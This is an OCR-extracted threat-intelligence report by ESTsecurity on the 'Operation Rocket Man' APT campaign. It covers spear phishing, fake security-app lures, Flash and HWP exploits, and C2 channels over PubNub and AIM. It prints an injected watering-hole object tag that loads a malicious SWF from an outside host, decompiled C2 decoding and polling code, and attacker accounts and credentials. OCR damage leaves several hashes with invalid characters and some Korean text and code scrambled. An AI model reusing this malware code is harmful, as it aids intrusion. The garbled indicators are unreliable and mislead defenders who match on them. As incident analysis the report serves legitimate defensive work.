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Special Report ESTsecurity

RocketMan Report

1. The latest APT campaign of Geumseongl121 Group — 'Operation Rocket Man'

ESTsecurity Security Response Center (ESRC) is a specialized organization of ESTsecurity Cyber Threat Intelligence (CTI).

On March 20, ESRC released the report on a state-sponsored APT threat group Geumseong121, who had conducted
infiltration cyber-attacks on major North Korean organizations and defense sectors, recently carried out the Android-

based mobile Spear Phishing attacks.

— @ HWP Exploit
.- Flash 0-Day Exploit
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[Figure 1] Attack Vector of Geumseong121 group

The unknown attackers spread the CVE-2018-4878 Zero-Day vulnerability via KakaoTalk messenger and attempted

the targeted attacks several times exploiting the malicious HWP document.

In the mobile spear phishing (APK) discovered in March, malicious APK apps with the word "Secret" instead of "lllegal”

were distributed.



The Geumseong121 group is the suspected state-sponsored cyber military, who attacked Android mobile users by

disquising as a mobile vaccine app developed by the leading portal company in Korea. ESRC has posted the analysis

on the malicious app (Trojan.Android.Fakeav) in detail.
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[Figure 2] Tricking users to install APK disguised as the mobile security app

The additional threats related the issue has been posted on the Cisco Talos, Paloalto Unit 42 security blog in detail.



http://blog.alyac.co.kr/1587
http://blog.alyac.co.kr/1587
https://blog.talosintelligence.com/2018/04/fake-av-investigation-unearths-kevdroid.html
https://blog.talosintelligence.com/2018/04/fake-av-investigation-unearths-kevdroid.html
https://researchcenter.paloaltonetworks.com/2018/04/unit42-reaper-groups-updated-mobile-arsenal/
https://researchcenter.paloaltonetworks.com/2018/04/unit42-reaper-groups-updated-mobile-arsenal/

2. Malware Analysis

2.1. File Information

File Name 111.hwp File Format HWP File Size 18,432 byte
Content Created 2018. 08. 10 File version -
Last Updated 2018. 08. 10 MD5 EDC1BDB2D70E36891826FDD58682B6C4

SHA-256 2CAF1E26A67760268648BOEC8EA66BEID2E28BACT1B2A48E1E6F6EQAO6BEB042C
12,214,272
File Name Ant_3.5.exe File Format PE EXE File Size
byte
Content Created 2018. 08. 10 File version -
Last Updated 2018. 08. 10 MD5 B710E5A4CA00A52F6297A3CC7190393A

SHA-256 32E98F39BCDE86885C527DDCF68FAD67D0A7E6C23877672EBFD4C2A6A3F545E5
368,128
File Name worldnews.doc File Format PE EXE File Size oot
yte
Content Created 2018. 08. 14 File version -
Last Updated 2018. 08. 14 MD5 1213E5AOBE1FBD9A7103ABO8SFESEASCB

SHA-256 dc827f7a1e5ee4600697d7d3efdeb8401b7a9af3d704d0462e7d3e0804a9069d
WxedWx86Wxb5¥Wxecttxa7 173,056
File Name File Format HWP File Size
¥x80.hwp byte
Content Created 2017.10. 10 File version -
Last Updated 2017.10. 10 MD5 AF6721145079A05DA53C8D0OF3656C65C

Last Updated

SHA-256 8bb3d97a37a6¢c7612624a12f8ff60eb8dd130f9e8f9af4f4f2cf8fcadf1dd964
File Name desktops.ini File Format INI File Size 204 byte
Content Created - File version -
- MD5 O5EEFOODE73498167B2D7EBDC492C429

SHA-256

4380769cdefb6ed56¢1290acfc98a26e029e887a3b4ebfc417bfd80408b4d9e90




2.2. Detailed Analysis

ESRC has been investigating the cyber campaigns for several years, and found that the group has been conducting
the cyber campaigns on and off Korea since 2013. The major threat vectors exploited by the group are Watering Hole,
Spear Phishing, Social Network Phishing, Torrent Phishing attacks and so on.

Meanwhile, the latest spear phishing targeting a specific Korean was discovered in August of 2018 and interesting facts
are found while analyzing the attack. In addition, the attacker is disquised as a corporate HR representative in Korea
for the attack.

The following loCs are identified in the attack. ESRC has promptly shared the information with Korea Internet & Security

Agency (KISA), in order to prevent the distribution of the malware.

- http://m.ssbw.co.kr/admin/form_doc/image/down/down[.Jphp (MD5 : af6721145079a05da53c8d0f3656¢65¢)

- http://m.ssbw.co.kr/admin/form_doc/image/down/worldnews[.Jdoc (MD5 :1213e5a0be1fbd9a7103ab08fe8ea5cb)
- http://m.ssbw.co.kr/admin/form_doc/image/img/111[.]Jhwp (MD5 : edc1bdb2d70e36891826fdd58682b6c4)

- http://m.ssbw.co.kr/admin/form_doc/image/img/Ant_3.5[.]exe (MD5 : b710e5a4ca00a52f6297a3cc7190393a)

- http://m.ssbw.co.kr/admin/form_doc/image/img/desktopsl[.]ini (MD5 : 05eef00de73498167b2d7ebdc492c429)

The spear phishing strategy used by Geumseong121 contains the distinctive features. Instead of attaching a Lure or

Decoy file, it adds the infected Korean website address and disquises as the attached file image.

The sophisticated Hangul was observed in the attack, but some geographic expressions of the language were subtlety
vague. The approach is utilized to analyze local characteristics based on the linguistic abilities of the attacker, and the

professional analysts who are good at using the language can access to more in-depth data through.

In addition, the metadata used in the attack is utilized as a key clue to the Correlations between traces of the past and

the infringements.

The malware disguised as the icon that seems the Korean security program is used in the newly discovered campaign
in August. The tactic is similar to the one of the attack discovered in March, but this time it is disquised as security

program for PC, not mobile.



aylc.exe

= BHEFS16CE

[Figure 3] Flow of Attack disguised as a security program

The malware disguised as a security program depending on the attack vector installs additional files through the

multiple steps. It executes optional commands for each .Net version.

The build data called 'Ant.pdb" is observed in malicious file distributed on the .Net basis. In particular, an attacker is

constantly creating a series of malicious file variants in a project folder called 'Rocket'.

- E:WprojectWwindows#RocketWAntWApiWPubnubApiWobj#Debug#net35#Pubnub.pdb
- E:¥projectWwindows¥RocketWAnt_3.5¥#AntWobj#ReleaseWAnt.pdb
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Figure 3-1] PDB path created in Rocket path

[

We categorized the cyber campaigns using the main keywords and named it 'Operation Rocket Man'.

ESRC found many False Flags to confuse Threat Intelligence (TI) while analyzing the code used in the attack. The

attacker used the word 'Haizi' in English, which means a child in Chinese expression.

The expression was identically used in the .Net based programs installed later. There is a word 'PAPA" in the .Net based
malware. However, 'BABA' is used as an English expression of Chinese , which means father.

The evidence revealed that the attacker's native language may not be Chinese.


https://dictionary.hantrainerpro.com/chinese-english/translation-haizi_child.htm
https://dictionary.hantrainerpro.com/chinese-english/translation-haizi_child.htm
https://dictionary.hantrainerpro.com/chinese-english/translation-baba_father.htm

1ea ecx, [ebp+pszPath]

push eCH

push

push

push TS IS P RPN IES PR Al Character: Chinese Simplified
mov edx, [ebp+var 214] Pronunciation: Hanyu Pinyin
push edx a (Mandarin = Standard Chinese)

call sub_4835E8 \
mov eax, [ebp+var_214]
push eax

call sub_4836F8
1ea ecx, [ebp+pszPath]
push eCH

call sub_4838EB

add  esp, haizi
pop edl

pop esi

mov ecx, [ebp+var_4i]

®x0r ecx, ebp

call @ security check coolie@h4

dictionary.hantrainerpro.com

PubnubDemoFarm.

PubnubDemoFarm.

FubnubDemaFarm, Y

PubnubDemoFarm.

PubnubDemaFarm.

PubnubDemaFarm. m_strConf igPath = LGetDirectoryMame! Assemb |y, GetEnt ry

[Figure 4] English expression of Chinese in the malware

The installed malware will download the encrypted ini configuration file and decrypt it. The configuration file is
named 'desktops.ini' and receives the commands from the same C2 server exploiting the vulnerability attack.

public void SetPubnub(string[] strArr)

{
if (strArr.Length !=7)
{
return;
}
for (inti = 0; i < strArr.Length; i++)
{
strArr[i] = this.calcXor(strArr[i], 23);
}

this.m_strChannelNameTmp = strArr[1];

The configuration file encrypted according to the command is decrypted with the key value of XOR 0x17. When the



decryption is completed, command communication (C2) communication is proceeded via PubNub channel, which is
one of the Infrastructure as a Service.

The attacker uses the 'LiuJin' account here as well, which is one of evidence to show the attack is originated from
China.

There are many English expressions of 'LiuJin', it can be written as XI5/ (Liulin)" in Chinese, or used for the name of

Chinese actor and the online game.

The traces related to China are intentionally left behind in the code. ESRC believes there is a high possibility of

Disturbance Strategy exposing the linguistic and geographic codes to confuse Threat Intelligence (Tl).


https://baike.baidu.com/item/%E5%88%98%E5%8A%B2/6641414
https://baike.baidu.com/item/%E5%88%98%E5%8A%B2/6641414
http://www.liujin.cn/
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[Figure 5] laaS-based PubNub command control (C2) server



As such, an attacker uses a legitimate laaS service for communication, so that it is quite difficult to detect the malicious
traffic.
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H Similar Threat Case

The spear phishing using the same technique has been identified in September 2017. The HWP vulnerability was also

used for the attack, and the metadata is identical to the IOC of the attack on August 2018.

The attacker’s account name and the OLE code are disguised as references and reply to the original message.
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[Figure 6] E-mail used in the attack

The file name 'icloud.exe' is used for the malicious program and the following PDB (Program Data Base) code is inside.

- E:#))PROGWdoc_exeWReleaseWdown_doc.pdb

The PDB series is diverse depending on the variant malicious files, and it is also related to the 2013 versions using the

AOL messenger (AIM).

AOL Messenger was used for communicating in the early days before the infected Korean websites were used as a



communication method. After that, it has evolved to use the Streamnation.com for Command and Control.

The emails from Korea, USA, China, India and Russia can be used for subscribing the account for C2 Communication.

The cloud services such as pcloud.com, yandex.com and Dropbox have been used before and a real-time networking
platform PubNub service is currently used. The PubNub is infrastructure-as-a-service (laaS) to provide the service to

interconnect 10T cloud devices as one system.

- K:¥))pickWietttest.pdb

- D:#))pick¥doc_exeWReleasettdown_doc.pdb
- E:W))PROGWdoc_exetReleasedown_doc.pdb
- E:#))PROGWdoc_exeWReleaseWdrun.pdb

- E:W))PROGWietReleasettdrun.pdb

- E:#))PROGWUploadWUploadWthunder

- E:W))PROGWwaoki¥ReleaseWrunner.pdb

- E:#))PROGWwaokiWReleasettkltest.pdb

dd offset ___ security_cookie ; SecurityCookie
dd offset _ safe_se _handler_table ; SEHandlerTable
dd » SEHandlerCount
ation (IMAGE_DEBUG_TYPE_CODEUIEW})
db "RSDS"
CU signature
dd Datatl ; GUID
dw Data2

dw Data3d

db H H H H H H H - Datal

dd ; Age

db "E:W))PROGWdoc exeWReleaseWdown doc.pdb®,8 ; PdbFileHame
align

db

db

[Figure 7] The analysis of PDB code in the malicious program

The command control (C2) server of the attack is the 'endlesspaws.com' domain, which has been previously used for

similar attacks several times.

In terms of Threat Intelligence (Tl), the identified server is useful to investigate similar threats carried out by the same

attackers.



ESRC also confirmed that the domain has connections to “Watering Hole attack related to North Korea”, which is

discovered in South Korea in 2015, and gained the evidence that it is exploited in the spear phishing attack with

attached executable file in 2017.

The attack exploiting the CVE-2017-8759 vulnerability has been detected as well. Some of them have been posted on
the blog by Chinese security company Tencent.

Hl Deep Analysis on Correlation

A number of similar threat appeared in February of 2017. The domain endlesspaws.com was leveraged to distribute

the malware by luring the users with the safety guideline for strengthening the protection of North Korean defectors.
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[Figure 8] Distributing the malware by disguising as the safety guideline


https://s.tencent.com/research/report/274.html
https://s.tencent.com/research/report/274.html

It looks like it attaches a 'safety tips .zip' file to an email, but it actually is linked to the ‘endlesspaws.com' domain to
install a compressed file, and it contains malicious EXE executable files with a double extension disguised as an HWP

document.

It masquerades as a double extension, and the icon is disguised as a normal HWP file by utilizing the document file

resource.

The malicious file loads the code that is configured of the cryptographic function routines inside, and decodes certain

hexadecimal codes into a logical XOR 0x55 key value.

EXE executable malicious files will attempt to connect to the following addresses, same as the C2 domain used to
distribute ZIP compressed files:

- http://endlesspaws.com/vog/tan[.Jphp?fuck=x
- http://endlesspaws.com/vog/denk[.]zip



ULy = @;

uSh = Bx25883C;
uSS = Bx2FA807B;
uthy Bx3EQB3B ;
uS3 = Bx3808031;
uS2? = Bx7AAB832;
uS1 = Bx3A00823;
Ty Bx7AA038 ;
uh9 = Bx3A00836;
uhs = Bx7BAB25;
uLh7 = Bx220034;
vl = Bx2580826;
U4t = Bx260030;
uly Bx390031;
uh3 = Bx3B0030;
uh? = Bx7ABOYA;
ui1 = Bx6FA825;
uhi Bx218821;
U39 = B=3D;

21 = Bm22;

do

{

#{&UID + u21) "= BxGSu;
—-—u21;

S
while { v21 >= @8 });
22 = {{const WCHAR =)&u58, {size t =)&nHumber0fBytesTolrite);
if { nHumberOfBytesTolWrite > Bx3E8 )
{
v23 = CreateFileW{&pszPath, BxCABAABB8, 3u, B8, 4u, Bx80u, A);
w2y = u23;
if { v23 *= (HAHMDLE)-1 )
{

[Figure 9] Code for converting the encrypted C2 data

The additionally downloaded 'denk.zip' file, which appears to be a seemingly zip compressed file, is actually a HWP

format document file.

The malware distributed in EXE format contains the normal HWP document inside. It shows users the normal
document in the process of infecting the device or it can download the normal HWP document from the C2 server.
However, this case is different from the common type of the malware. It downloads and install additional malicious
HWP documents.

This is an unusual case of installing the additional document-based malicious files on the already infected system. As
the document file contains content that matches the email content used in the attack, it is not likely that the file is
improperly linked due to confusion with other cyber operations.



The malicious script code is injected in the Default)Script area in the 'denk.zip' file. The malicious DLL file encoded in
BASE64 code in the embedded format will be decoded when the script runs.

oo 41 00 72 00 72 00 €1 OO 795 00 28 00 28 00 .A.r.r.a.v-.-{-}.
3B 00 7D 00 3B 00 72 D0 &5 00 74 0O 75 00 72 ;.}.r.r.2e.t.u.r
o0 &E 00 20 00 &2 00 326 00 34 00 2E 00 74 00 .n. .b.6.4...t.
6F 00 53 00 74 00 72Z 00 €% 00 6E 00 &7 00 28 o.S.t.r.i.n.g.(
oo 2% 00 3B 00 7D 00 3B OO0 7€ 00 €1 OO0 72 00 .).;.}.;7.v.a.r.
20 00 &5 0D 41 DO 3D 00 €E 00 &5 0D 77 DO 20 e, A.=.n.e.w.

oo 41 00 72 00 72 00 €1 OO 79 00 28 00 28 00 .A.r.r.a.y.(.).
3B 00 &5 00 41 00 ZE 0O 70 0D 75 00 73 00 €8 ;.e.A...p.-u1.s.h

[Figure 10] The malicious script code included in the document file

The malicious DLL file that is decoded by BASE64 code contains the following PDB path, and connect to the six Korean
command control (C2) servers.

The code 'srvrlyscss', which has been detected in many IOCs in Korea, is used for communication.

Security Response Center 20



H
if { strstri{:: » HTTPA1.1 20808 0K} )}
{
if { tstrstri:: . BFror<fb>"}) && tstrstri:: ., Fail to™) )
{
2z strstr(:: . | Bhrdtnthrdntt) ;
23 u2z;
if { w22 )
break;
H
H
{5);
S1leep({8x88B8u) ;
H
if { strtol{v2z, 8, 16) )
break ;
{5);
Sleep(8x9C48u) ;
H
if { strstri{v23,|"srurlyscss™) )
break ;

{5);
S1leep({8x2AFC8u) ;

[Figure 11] Code with 'srvrlyscss' string for communication

- seline.co.kr/datafiles/CNOOCI.]Jphp

- www.causwc.or.kr/board_community01/board_communityO1/index2[.]php
- www.kumdo.org/admin/noti/files/iindex[.]Jphp

- www.icare.or.kr/upload/board/index1[.]Jphp

- cnjob.co.kr/data/blog/iindex[.]Jphp

- notac.co.kr/admin/case/iindex[.]Jphp

The string 'taihaole9366' was used as the mutex code to prevent Duplicate Execution. 'Taihaole' matches the English

expresion of Chinese (X4F7) and the meaning is 'very good'.

The attacker has used the English expression of Chinese very often from the past, and there are a lot of other

expressions.


https://chinese.pandarow.com/dict/%E5%A4%AA%E5%A5%BD%E4%BA%86-taihaole
https://chinese.pandarow.com/dict/%E5%A4%AA%E5%A5%BD%E4%BA%86-taihaole

73 65 6C 69 6E 65 2E 63 6F 2E 6B 72 18 18 18 18 seline.co.kr....
18 18 18 18 77 77 77T 2E 63 61 75 73 77 63 2E 6F ....WwWww.Ccauswc.o
72 2E €B 72 18 18 18 18 77 77 77 2E €B 75 €D 64 r.kr....www.kumd
eF ZE TT 2E 0.0XQ. v WWW
] CHeateutexi(@, 1, 1-3 18 icare.or.kr.....
£3 oF (Rl H 18 18 cnjob.co.kr.....
JEEBR] - = (SOCKET) ; 72 18 ....notac.co.kr.
12 1 B9 BT vnnnnn. /datafil
65 73 R 18 18 es/CHNOOC.php....
18 1z Rl ;’kﬁ%? 18 18 vevernennnnnnnn
18 1z Si hio | 5F 63 sueennnns /board c
eF &l tal hao le 72 64 ommunity0l/board
5F 63 very good e 64 community0l/ind
65 T8 2ZF 6E ex2.php./admin/n
6F 74 65 78 oti/ffiles/iindex
2E 70 '-'1['-'2”] 18 18 DPRDeeeenvnvnnen
18 18 while ( v2 ¢ {ul) ); B4 2F  irnnnnn Jupload/
62 &F b 68 70 board/indexl.php
JERE:] Vo = (const char =)s5; 18 1B tvveevrnnnnnnnes
g 1z [UEEF B2 BT vrrnnns /data/bl
6F &7 [ELER {(const char *)s) ) 18 18 og/iindex.php...
12 15 [ 18 1B tvveevrnnnnnnnes
18 18 18 18 18 18 18 18 2F 61 64 6D 69 6E 2F 63 wvuvenn. Jadmin/c
1 73 €5 2F €9 €9 6E 64 65 78 2E 70 68 70 18 18 ase/iindex.php..

[Figure 12] Encoded C2 and Mutex in English expression of Chinese

The malware disguised as a popular Chinese security program has been identified in January of 2018. It is a different
case from the one disguising as an existing Korean security program.

The attacker added a fake screen to the Korean website 'ebsmpi.com' as if it were a 360 TOTAL SECURITY security
program web page in China

It copied the source code of the website operated in China and replaced the downloaded file with the malicious files.

The linked addresses are as follows, and when clicking the 'Free Download' link, the file '360TS_Setup Mini.exe' is

downloaded.

- http://ebsmpi.com/ipin/360/down[.]Jphp



& 360 Total Security: Free X

< C ‘ [0 ebsmpi.com/ipin/360

@ 360 TOTAL SECURITY

Your Unified Solution
For PC Security and Utility

Download Free Antivirus and System Optimization

Free Download

Offline installer

Simple yet Powerful

Protection

[Figure 13] Infecting 'ebsmpi.com' website in Korea and adding the screen

It disquises the file name (360TS Setup_Mini.exe) like the security program in China, and the icon also camouflages



the normal program. The additional .Net-based malicious file is installed depending no environmental conditions.

ESRC identified in August 2018 that the encryption algorithm is 100% identical to the vector technique of the attack
disquising as the Korean portal program

Ll L
360T5_Setup_Mi 360T5_Setup_Mi
ni.exe ni.exe
e ogupe

[Figure 14] Comparison of malicious files disguised as a Chinese security program and normal file

- http://ebsmpi.com/ipin/360/Ant_3.5[.]exe (MD5 : {f32383f207b6cdd8ab6cbcba26b1430)

- http://ebsmpi.com/ipin/360/Ant_4.5[.]exe (MD5 : 84cbbb8cdad90fba8b964297dd5c648a)
- http://ebsmpi.com/ipin/360/desktops[.]ini (MD5 : ab2a4537c9d6761b36ae8935d1e5ed8a)
- http://cgalim.com/admin/hr/templ[.Jset (MD5 : fa39b3b422dc4232ef24e3f27fa8d69e)

The normal '360TS Setup Mini.exe' file is installed in the domain 'cgalim.com' with the file name 'temp.set’, which is

also used for a similar infringement attack discovered in Second half of the year.



[eax+4], edx
edx, ds:dword_H413EEC
[eax+8], ecx
ecx, ds:dword_H13EF0
[eax+ ], edx
dx, ds:-word 413EF4
[eax+ ], ecx
[eax+ ], d=
eax, [ebp+File]
eax |
ecx, offset szUrl ;] "http://cgalim.com/fadmin/hr/temp.set’
sub_402A90
esp,
;s NShowCmd
: lpDirectory
; lpParameters
ecx, [ebp+File]
ecx ; 1pFile
offset Operation ; "open"
s hund
ds:ShellExecuteW

[Figure 14-1] '360TS_Setup_Mini.exe' installing the normal file

Initial malicious files based on .Net include the following PDB paths, some of which are omitted from the latest variants.

- E:fprojectWwindows¥#RocketWAnt#ApiwPubnubApiobjWDebugWnet35¥#Pubnub.pdb

- E:ffprojectWwindows¥RocketWSys-GuardWServlet-standalone_GuardWReleaseWServlet.pdb
- E:projectWwindows¥#RocketWSys-GuardWChutty_Guard¥#ReleaseWChutty.pdb

- E:projectWwindowsWRocketi#Servlet¥WReleaseWServlet.pdb

- E:fprojectWwindows#RocketWAnt_4.5¥AntWobj#ReleaseWAnt.pdb

ESRC has verified that when executing the malicious file, they download the normal programs from another infected

server to trick users believing into the normal program is running.

The C2 server overlaps with the hosts, which are detected from the distribution of Android malicious application (1.apk)
and the bitcoin related 'bitcoin-trans.doc' (MD5: 8ab2819e42a1556ba81be914d6c3021f) malicious file

- http://cgalim.com/admin/hr/hr[.Jdoc (MD5 : 24fe3fb56a61aad6d28ccc58f283017c¢)
- http://cgalim.com/admin/hr/1[.]Japk (MD5 : 9525c314ecbee7818ba9%a819edb4a885)
- http://cgalim.com/admin/hr/templ[.Jset (MD5 : fa39b3b422dc4232ef24e3f27fa8d69e)

The domain 'cgalim.com' left traces that show the variant file is distributed in /1211me/ as well as the subpath /hr/.



The group conducted a watering hole attack against North Korean organizations in 2015 and 2016. The attackers were

actively exploiting flash player vulnerabilities for the attack.

North Korea-related news sites and web sites have been mainly targeted by the threat, and lasts for several months.

The following is a malicious object added to the infected website.

2 Zldquo; Wi Fosch ook ZERHE {5 4 EEHENE &lsquopEde AWE0&rsquo; DHEFH SEECErdquo; 34 &ldquo =0
E0l4es 30~48E2E FEE 20 22 &lsquo;E HUEErsquo;e ST FE 7Y His Toddd E4dg AU ¥S&rdquo; i HA O
Fa TEC. </pr<p:I83M EldquojTRds S di==To TE Fsge FHo gino D Yo CE AlsquopEdids TRErsquoEitis B

Ho| YA o 70 =7 20&rdguo; B4 &ldguoRRES 54, 4 DHS| HES Y &0 S07 DOH(OE BR)e SHoE sEg
Tie ZEN 3400 YmECErdquo;l SFEEC </proprFofie 2 2AME2 ldquo;FIES flsquoEE OJob MY THETs T
gy osjs Toel oo fictRregup.d = Hjus HuSiciEredguo:=a Sidgup.dmoss Zlcoun:ofols = =2 =nx AMYE0s o

gy BF 07 Hod&rsquoj; i HotFMES&rdquo; X BEC, &nbsp; &nbsp;<object width="8" height="@"
type="application/x-shockwave-flash"><{param name="src"
value="http://www.mitracommunications.com/wp-includes/main.suf" fr</fobject></p>

<div style='width: 188%; text-align: center; margin: 2@8px @ 48pu;'>

69 T3 74 &5 6E €5 72 17 5F 5F &7 &F 5F T4 &F 5F iStEHEI.__gD_tD_
€4 65 €6 €9 6E €9 74 €9 6F €E EF €2 €5 &C 70 04 definition help.
€6 6% &C €5 03 70 &F 73 2B HT 3A 5C 46 6C 61 73 file.pos+EHANREE
7T T2 hDeveloping\chro

68 44 65 76 &5 €C 6F 70 &% 6E €7 5C €3 68 72 &F
60 65 S5F €9 65 SC 73 72 63 5C 45 78 70 6C 6F 6Y TR Jed¥0b sailall
74 Z2E €61 73 03 34 38 39 06 53 70 72 €9 T4 65 0D |¥.as.489.5prite.
66 6C €1 73 68 2ZE €4 €% T3 70 eC &1 7% 0 4F &2 flash.display.Cb

[Figure 15] Flash player vulnerability code used for watering hole attack

The hacking group exploited the latest Flash player vulnerabilities CVE-2015-5119 and CVE-2015-0313 in 2015, and
Flash Player CVE-2015-5119 vulnerability leaked from the server hacking attack performed by Italian Hacking Team.

The group has used KakaoTalk Messenger to selectively target victims and carried out the attack exploiting the CVE-
2018-4878 Flash Player Zero-day vulnerability since late 2017.

- G:#FlashDevelopingWmstest¥src (CVE-2014-8439)

- G:#tFlashDevelopingW20148439%src (CVE-2014-8439)

- G:WFlashDeveloping#MainWsrc# (CVE-2015-0313)

- G:#tFlashDeveloping#?2015-3090%src (CVE-2015-3090)
- G:WFlashDeveloping#20153105Wsrc (CVE-2015-3105)

- G:#tFlashDeveloping#W20155119%src (CVE-2015-5119)

- G:WFlashDeveloping¥tchrome_ieWsrc (CVE-2015-5119)



In case that the additional malware downloaded by the Flash Player Vulnerability (SWF) fails to execute administrator

privileges via User Account Control, a fake error message of hard disk pops up after about 5 minutes.

It manipulates as backup process and re-execute the malware with administrator privilege CMD command. Some
Korean expressions observed were identical to the English computer expression (prose, program) used in North Korea.

€3 Microsoft Windows ﬁ
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-
[Figure 16] Fake error message containing a North Korean expression of computer terminology

The C2 communication method has evolved over the years. In the earliest days, America Online Instant Messenger
(AIM) Oscar protocol was used for Command and Control.

The encrypted communication proceeds with the AIM Messenger's account and password, which is English characters

typed on Korean keyboard. The initially used PDB path shows it is developed in the AOL folder.

- fastcameron13 / powercooper00 / dPfWIs&Rkapfns19 (R &7tH & 19)
- F:WProgramWsvr_installWReleasettsvr_install.pdb
- F:WProgramWAolWReleaseWServiceDIl1.pdb



duord_182F22CC = dword_1081536C;
dword_182F2208 = dword_18815378;
byte_182F22D8 = byte_10815378;

duword_182F22D04 = dword_18815374;

vl = E;
do
| *{({ BYTE *)&dword 182F22CC + ub++) "= Bx57u; |

while { ve < 13 });
dword_182F22EE = dword_18815358;
duword_182F22EA = dword_1881534C;
dword_182F22F6 = dword_18815358;
duword_182F22F2 = dword_18815354;
vl = 8;
do
*{{ BYTE =)&dword_182F22EA + ui++)
while { vl < 16 );
result = B3
do
{
ag2u882Gg[result] "= Bx57u;
++result;

~

= Bx57u;

[ ) -
K Glm . fast cameron13 ¥

Start or find a chat # D DI
Al @

2D DE SF CE D2 C8 04 DD L€ DS OR .~}.3-BYIOE.T!@.
00 00 00 OD 00 00 00 10 00 00 00  veverenrnnenenns
34 38 38 27 32 25 €7 €7 00 00 00 '3 2%488'2%gg...
00 00 00 00 00 00 00 00 00 00 00  vuvevunrnnenenns
24 71 05 3C 36 27 31 39 24 66 6E  3.1.:;5q.<6'195fn
00 00 00 00 00 00 00 00 00 00 00  tevueenrnnenennn
36 3R 32 25 38 39 66 64 00 00 00 165#46:2%53fd...

GROUP CHATS

CONTACTS

Add Google Talk Contacts...

XOR 0x57u =
v Buddies
TA B9 C8 99 B85 SF 53 B8A Fl 8F 5D QA*F*zRE™_Y55n.] powercooper0d AlM @
57 57 57 5A 57 57 57 47 57 57 57 WHWWZWWWZWWNWNGWWW

63 €F &F 70 65 72 30 30 57 57 57 | powercooper(d v Family

57 57 57 57 57 57 57 57 57 57 57 WAAWANARRAWAWN v Co.Workers
73 26 52 €8 61 70 €6 €E 73 31 39 dPfWlsaRkapfnslo -
57 57 57 57 57 57 57 57 57 57 57 _WHNHHHHNNNHHEE v Offline

€1 6D €5 72 6F €E 31 33 57 57 57
[Figure 17] Using AIM Messenger as C2

When communicating with AIM Messenger, the attacker uses the login account and password, and sends the

encrypted message to another account user after the connection is completed.

When the device is infected, the encrypted messages such as computer information and additional commands will

be transmitted, and various accounts have been used.

Attackers mainly have the following accounts such as aol.com, hotmail.com, yahoo.com, india.com, inbox.com,

gmail.com and zmail.ru and created and used the other variants.

- allmothersorg11@hotmail.com
- allmothersorg@hotmail.com
- bluelove@india.com

- cmostenda01@yahoo.com



- cmostenda102@yahoo.com
- cmostenda103@yahoo.com
- daum14401@zmail.ru

- dapplecom2013@yahoo.com
- eatleopard00O@inbox.com

- fastcameron00

- fastcameron11

- fastcameron13

- fatpigfarms@hotmail.com

- fatpigs9009@hotmail.com
- friendleopard00@aol.com

- ganxiangu04@hotmail.com
- ganxiangu07 @hotmail.com
- greatvictoria84

- greatvictoria85

- greatvictoria86

- greatvictoria87

- hatmainman@hotmail.com
- hatwoman40@hotmail.com
- jinmeng288@gmail.com

- minliu231@gmail.com

- Okokei@india.com

- pghlsn333@gmail.com

- prettysophia00

- prettysophia47

- prettysophia48

- prettysophia49

- prettysophia50

- prettysophia51

- prettysophia52

- prettysophia53

- prettysophia54

- prettysophia55

- prettysophia56



- prettysophia57

tosarang87@gmail.com

- winpos1000@zmail.ru

- winpos1001@zmail.ru

- winpos1002@zmail.ru

- winpos1003@zmail.ru

- winpos1004@zmail.ru

- xiangangxu88@hotmail.com
- zum36084@gmail.com

- zum36084@zmail.ru

- zum36085@zmail.ru

The emails such as "zum36084@gmail.com”, "zum36084@zmail.ru", daum14401@zmail.ru were generated and they

were sent as a test in early 2016.

Investigations based on I0A (Indicators of Attack) reveal that an attacker has set up a 'zum36084@gmail.com' email
to disguise as 'Google Account Team', and they have used Hangul from the beginning.
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[Figure 18] Testing after generating the emails for the attack

Emails sent as a test Mar 03, 2016 attached the '0303_zmail.gif' file, which is the malicious file of EXE format that is
encrypted by 2 steps such as XOR 0x69 key.

The decrypted malicious file is set to infect only a specific computer name, which includes Korean name and the name

of a journalist from a specific press.

_ SHR|L
- WOOSEONG-PC
- T-PC



Some variants check the following accounts. For example, the name of 'SEIKO' computer is often identified in I0Cs. In
particular, when using the HWP document file vulnerability, it matches the account of the last writer, and has been
identified in the infection logs of '175.45.178.133".

- S ABHE]

- KIM[Administrator]
- JAMIE[Jamie Kim]
- DONGMIN[MinSkK]
- T-PC[T]

- YONGJA-PC
- USER

- sec

- CRACKER-PC
- SEIKO

The following sites are bookmarked by the users as follows in the infection log of 'SEIKO" account.

Windows IP Configuration

Host Name ............:SEIKO-PC
Primary Dns Suffix .......:

Node Type ............:Hybrid

IP Routing Enabled........:No
WINS Proxy Enabled........:No

Ethernet adapter Ethernet:

Connection-specific DNS Suffix

Description . ... .......: Realtek PCle FE Family Controller
Physical Address. .. ......:FO-DE-F1-A1-96-C3

DHCP Enabled...........:No

Autoconfiguration Enabled . . . .: Yes

IPv4 Address. . .........:175.45.178.133(Preferred)



Subnet Mask
IPv4 Address
Subnet Mask
Default Gateway

175.45.178.129

Directory of c:#WusersWSEIKOWFavorites#Links#mail

2016-04-24
2016-04-24
2016-04-24
2016-04-24
2016-04-24
2016-04-24
2016-04-24
2016-04-24
2016-04-24

06:13
06:13
06:13
06:13
06:13
06:13
06:13
06:13
06:13

lo fo to to o [0 o o

Job Hor ot ot ot ot ob ot ot

150 1267 5.url
213 163?75 .url
808 AOL Mail.url
265 Gmail.url

837 Hotmail.url
152 Inbox.url

183 India.url

466 Yahoo mail.url

218 zmail.url

Directory of c:WusersWSEIKOWFavoritesWLinkstm2~

2016-04-24
2016-04-24
2016-04-24
2016-04-24
2016-04-24
2016-04-24
2016-04-24

R=F 06:13
Q= 06:13
R=F 06:13
Q= 06:13
R=F 06:13
Q= 06:13
R=F 06:13

112 FN X|L|O}O].URL
115 Sputnik.URL

110 H|O|E.URL

109 C=2AHE.URL
114 2{.URL

113 24 E.URL
151 2H4.URL

Directory of f:#2_Program#Orbis_zmailWDebug

2016-01-16
2016-01-16
2016-01-16
2016-01-16
2016-02-15

QHF 12:11
2 12:30
2F 12:30
27 09:16
Q7 10:28

0 FODEF1A196C3_C.zip
2,293,380 FODEF1A196C3_E.zip
12,827,289 FODEF1A196C3_F.zip

22 FODEF1A196C3_D.zip
5,914,135 FODEF1A196C3_G.zip



In addition, the computer that satisfies the condition decrypts the encrypted code inside with XOR 0x55 key, and

generates it as 'conhost.exe' filename and executes it.

For instance, the 'conhost.exe’ file communicates with AOL Messenger.

(&Dst, B, Bx184u);

(&uil, B, Bx184u);
nsize = 2608;
GetComputerHameA{&Dst, &nSize);
nsize = 2608;

GetUserHamea{&u7 iz
